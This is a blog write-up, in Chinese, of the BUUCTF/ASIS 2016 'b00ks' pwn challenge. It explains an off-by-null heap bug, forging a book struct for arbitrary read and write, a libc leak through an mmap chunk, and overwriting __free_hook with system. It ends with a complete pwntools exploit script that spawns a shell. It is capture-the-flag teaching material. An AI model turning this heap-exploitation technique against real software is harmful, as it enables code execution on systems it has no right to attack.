[PWN] BUUCTF asis2016_b00ks Offbynull利用

8 篇文章 0 订阅
4 篇文章 0 订阅

典型的offbyone利用

本地通过patchelf将环境修改为Ubuntu16 libc-2.23
checksec:
在这里插入图片描述
IDA:
菜单题:
在这里插入图片描述

漏洞函数:

在读取输入到缓冲区时,边界检查有问题,最后结束符"\x00"会被读取到size+1的位置
在这里插入图片描述

利用思路

首先会将author name 读取到 unk_202040 处,长度最大0x20个字节到 unk_202060,但是由于offbynull,会导致 unk_202061 被溢出覆盖为 “\x00” 即0。
在这里插入图片描述在这里插入图片描述
而create创建books时会将指向book的指针存放在unk_202060开始的连续地址处,
因此unk_202060会存放第一本书的ptr,offbynull 漏洞 会修改book_ptr的最低字节为00
在这里插入图片描述在这里插入图片描述
创建第一本书后,author name 的结束符会被 第一本书的ptr覆盖,此时 打印 author name 就会连带打印出第一本书的ptr,达到泄露地址的目的。
因为堆的初始化是按页对齐的,而该程序book的生成规律是:name——>desc——>book
程序每创建一个 book 会分配 0x20 字节的结构来维护它的信息

struct book {
int id;
char *name;
char *description;
int size; }

因此offbynull 漏洞修改book_ptr的最低字节为00 => book_ptr0,相当于减小地址,可以达到接近desc地址的目的
这样一来,如果修改desc的内容可以顺序修改book_ptr0的内容,

可以在book_ptr0处伪造一个book stuct,
1.填充自己想要输出的内容,在调用print打印book_ptr0即可打印想要的内容,可以实现任意地址读
2.填充desc为自己想要修改的地址,搭配edit修改book_ptr0的desc可以实现任意地址写,

基于以上思路可以实现获取libc基址后,覆盖__free_hook或者__malloc_hook为system或one gadget

方法一:mmap

堆有两种拓展方式一种是 brk 会直接拓展原来的堆,另一种是 mmap 会单独映射一块内存。
mmap开辟出的块与libc基址的偏移是固定的,因此只要拿到mmap开辟出的chunk的地址,就能通过一个“固定的偏移”得到libc。
申请book2的name和desc都超大,即可mmap分配内存。

调试过程

author name,此时还未创建book,结束符"\x00"在2060字节处
在这里插入图片描述
创建book后,2060处被覆盖,此时print authorname时可以打印处book1的地址
在这里插入图片描述
此时desc距离book1的ptr被覆盖后的地址0x000055d0d7c3b100相差0xb0

在0x000055d0d7c3b100伪造book struct 后,该book结构为
序号:0x1
name_ptr:存储book2的name的指针
desc_ptr:存储book2的desc的指针
size:0x7fff
在这里插入图片描述
此时修改author name 后可以将book1的地址修改为0x000055d0d7c3b100,即伪造的book ,调用 print 时可以打印处book2的name和desc的地址
在这里插入图片描述

在这里插入图片描述
用此可以计算libc的基址,从而得到 free_hook system onegadget 等地址
在这里插入图片描述
接下来edit修改book1:0x000055d0d7c3b100的desc,即可将其指向free_hook,等价于将book2的desc指针修改为free_hook
在这里插入图片描述
在这里插入图片描述
最后edit修改book2的desc,即可将free_hook指向system
在这里插入图片描述
delete()即可调用free函数,free book2时相当于指向system(“/bin/sh”),获取shell
在这里插入图片描述

EXP

from pwn import *
from LibcSearcher import *
from time import *
context.log_level = 'debug'
# file_path = "./chall/1"
# local = 1
# remote_path = "node4.buuoj.cn:29718"
# elf = ELF("./chall/1")
# libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")
# if local != 1:
#     p = remote(remote_path.split(":")[0],int(remote_path.split(":")[1]))
# else:
#     p = process(file_path)

sd      = lambda payload        : p.send(payload)
sdl     = lambda payload        : p.sendline(payload)
sda     = lambda data,payload   : p.sendafter(data,payload)
sdla    = lambda data,payload   : p.sendlineafter(data,payload)
it      = lambda                : p.interactive()
rc      = lambda num            : p.recv(num)
rc_all  = lambda                : p.recv()
rcu     = lambda data           : p.recvuntil(data)
lbc     = lambda str1,str2      : LibcSearcher(str1,str2)
lg      = lambda name,data      : p.success("\033[1;31m%s\033[0m --> 0x%x" % (name,data))
get_addr_64 = lambda: u64(rcu(b"\x7f")[-6:].ljust(8,b"\x00"))

def db():
    gdb.attach(p)
    pause()
def dbs(src):
    gdb.attach(p, src)

def tb(x): #将输入内容转换为python3的比特流格式
    return(bytes(str(x),encoding='utf8'))
# asis2016_b00ks
p = process("./b00ks")
# remote_path = "node4.buuoj.cn:28229"
# p = remote(remote_path.split(":")[0],int(remote_path.split(":")[1]))
elf = ELF("./b00ks")
libc = ELF("./libc-2.23.so")
def create(book_size,name,desc_size,desc):
    rcu("> ")
    sdl(b"1")
    rcu(": ")
    sdl(tb(book_size))
    rcu(": ")
    sdl(name)
    rcu(": ")
    sdl(tb(desc_size))
    rcu(": ")
    sdl(desc)
def delete(id):
    rcu("> ")
    sdl(b"2")
    rcu(": ")
    sdl(tb(id))
def edit(id,desc):
    rcu("> ")
    sdl(b"3")    
    rcu(": ")
    sdl(tb(id))
    rcu(": ")
    sdl(desc)
def print1():
    rcu("> ")
    sdl(b"4")
def change(name):
    rcu("> ")
    sdl(b"5")     
    rcu(": ")
    sdl(tb(name))

rcu("Enter author name: ")
sdl(b"l"*32)
create(32,"a"*32,0x100,"a")#1
create(0x21000,"/bin/sh",0x21000,"/bin/sh")#2
# db()
print1()
rcu("l"*32)
book1_addr = u64(rc(6).ljust(8,b"\x00"))
lg("book1_addr",book1_addr)
book2_name_addr_ptr = book1_addr+0x38
book2_desc_addr_ptr = book1_addr+0x40
payload = b"a"*0xb0 + p64(1) + p64(book2_name_addr_ptr) + p64(book2_desc_addr_ptr) + p64(0x7fff)
edit(1,payload)
# db()
change("l"*32)
print1()
rcu("Name: ")
book2_name_addr = u64(rc(6).ljust(8,b"\x00"))
rcu("Description: ")
book2_desc_addr = u64(rc(6).ljust(8,b"\x00"))
lg("book2_name_addr",book2_name_addr)
lg("book2_desc_addr",book2_desc_addr)
# db()
libc_base = book2_name_addr - 0x5c7010
onegadget = libc_base + 0x45206
bin_sh = next(libc.search(b"/bin/sh")) + libc_base
system_addr = libc.symbols["system"] + libc_base
free_hook = libc_base + libc.symbols["__free_hook"]
lg("onegadget",onegadget)
lg("free_hook",free_hook)
lg("bin_sh",bin_sh)
lg("system_addr",system_addr)
edit(1,p64(free_hook))
# db()
edit(2,p64(system_addr))
# db()
# sleep(5)
delete(2)
it()

第二种 (待完善)

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值